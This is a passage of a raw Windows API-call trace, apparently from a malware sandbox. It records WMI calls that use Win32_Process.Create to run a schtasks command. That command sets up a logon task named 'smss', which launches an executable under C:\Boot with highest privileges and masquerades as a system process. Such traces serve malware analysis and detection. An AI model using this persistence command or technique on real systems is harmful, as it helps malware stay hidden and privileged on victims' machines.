ppv=0x1b2fccd0*=0x1bf764d0) returned 0x0 [0074.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf764d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0074.455] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf764d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf6ec60) returned 0x0 [0074.455] WbemDefPath:IUnknown:Release (This=0x1bf764d0) returned 0x0 [0074.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf6ec60) returned 0x0 [0074.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0074.456] WbemDefPath:IUnknown:AddRef (This=0x1bf6ec60) returned 0x3 [0074.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0074.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0074.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf76510) returned 0x0 [0074.456] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76510, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.456] WbemDefPath:IUnknown:Release (This=0x1bf76510) returned 0x3 [0074.456] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0074.456] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0074.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0074.456] WbemDefPath:IUnknown:Release (This=0x1bf6ec60) returned 0x2 [0074.456] WbemDefPath:IUnknown:Release (This=0x1bf6ec60) returned 0x1 [0074.456] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0074.456] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0074.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ec60, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf6ec60) returned 0x0 [0074.457] WbemDefPath:IUnknown:AddRef (This=0x1bf6ec60) returned 0x3 [0074.457] WbemDefPath:IUnknown:Release (This=0x1bf6ec60) returned 0x2 [0074.457] WbemDefPath:IWbemPath:SetText (This=0x1bf6ec60, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0074.457] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0074.457] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0074.457] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.457] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0074.457] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0074.457] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0074.457] IUnknown:Release (This=0x111f638) returned 0x1 [0074.459] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76550) returned 0x0 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76550, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0074.459] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76550, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6ed20) returned 0x0 [0074.459] WbemDefPath:IUnknown:Release (This=0x1bf76550) returned 0x0 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6ed20) returned 0x0 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0074.459] WbemDefPath:IUnknown:AddRef (This=0x1bf6ed20) returned 0x3 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf76590) returned 0x0 [0074.459] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76590, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.459] WbemDefPath:IUnknown:Release (This=0x1bf76590) returned 0x3 [0074.459] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0074.459] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0074.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0074.460] WbemDefPath:IUnknown:Release (This=0x1bf6ed20) returned 0x2 [0074.460] WbemDefPath:IUnknown:Release (This=0x1bf6ed20) returned 0x1 [0074.460] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0074.460] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0074.460] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ed20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6ed20) returned 0x0 [0074.460] WbemDefPath:IUnknown:AddRef (This=0x1bf6ed20) returned 0x3 [0074.460] WbemDefPath:IUnknown:Release (This=0x1bf6ed20) returned 0x2 [0074.460] WbemDefPath:IWbemPath:SetText (This=0x1bf6ed20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ec60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ed20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ed20, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ed20, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0074.460] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf6ec60) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ed20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6ed20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6ed20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0074.460] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6ec60, uIndex=0x0, pszName="root") returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6ed20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6ed20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0074.460] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6ec60, uIndex=0x1, pszName="cimv2") returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6ed20, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6ed20, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6ec60, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6ec60, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6ec60, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.460] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ec60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ec60, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ec60, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ec60, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0074.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ec60, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0074.461] IWbemServices:GetObject (in: This=0x1bf62040, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11edf90, ppCallResult=0x0) returned 0x0 [0074.463] IWbemClassObject:GetMethod (in: This=0x11edf90, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ee300, ppOutSignature=0x1b2fd9e0*=0x11ee670) returned 0x0 [0074.464] IWbemClassObject:SpawnInstance (in: This=0x11ee300, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6a9d0) returned 0x0 [0074.464] IWbemClassObject:Get (in: This=0x1bf6a9d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a13650*=0, plFlavor=0x2a13654*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a13650*=8, plFlavor=0x2a13654*=32) returned 0x0 [0074.464] IWbemClassObject:Get (in: This=0x1bf6a9d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a13650*=8, plFlavor=0x2a13654*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a13650*=8, plFlavor=0x2a13654*=32) returned 0x0 [0074.464] IWbemClassObject:Put (This=0x1bf6a9d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"smss\" /sc ONLOGON /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0074.465] IWbemClassObject:Get (in: This=0x1bf6a9d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a136e0*=0, plFlavor=0x2a136e4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a136e0*=13, plFlavor=0x2a136e4*=32) returned 0x0 [0074.465] IWbemClassObject:Get (in: This=0x1bf6a9d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a136e0*=13, plFlavor=0x2a136e4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a136e0*=13, plFlavor=0x2a136e4*=32) returned 0x0 [0074.465] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ed8b0) returned 0x0 [0074.465] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0074.465] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0074.465] IUnknown:AddRef (This=0x11ed8b0) returned 0x3 [0074.465] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0074.465] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0074.465] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ed8b8) returned 0x0 [0074.465] IMarshal:GetUnmarshalClass (in: This=0x11ed8b8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0074.465] IUnknown:Release (This=0x11ed8b8) returned 0x3 [0074.465] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0074.466] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0074.466] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0074.466] IUnknown:Release (This=0x11ed8b0) returned 0x2 [0074.466] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0074.466] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0074.466] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0074.466] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0074.466] IUnknown:QueryInterface (in: This=0x11ed8b0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0074.466] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0074.466] IUnknown:AddRef (This=0x11ed8b0) returned 0x3 [0074.466] IWbemClassObject:Put (This=0x1bf6a9d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ed8b0, varVal2=0x0), Type=0) returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e960, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e960, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e960, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e960, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0074.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e960, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0074.468] IWbemServices:ExecMethod (in: This=0x1bf62040, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, 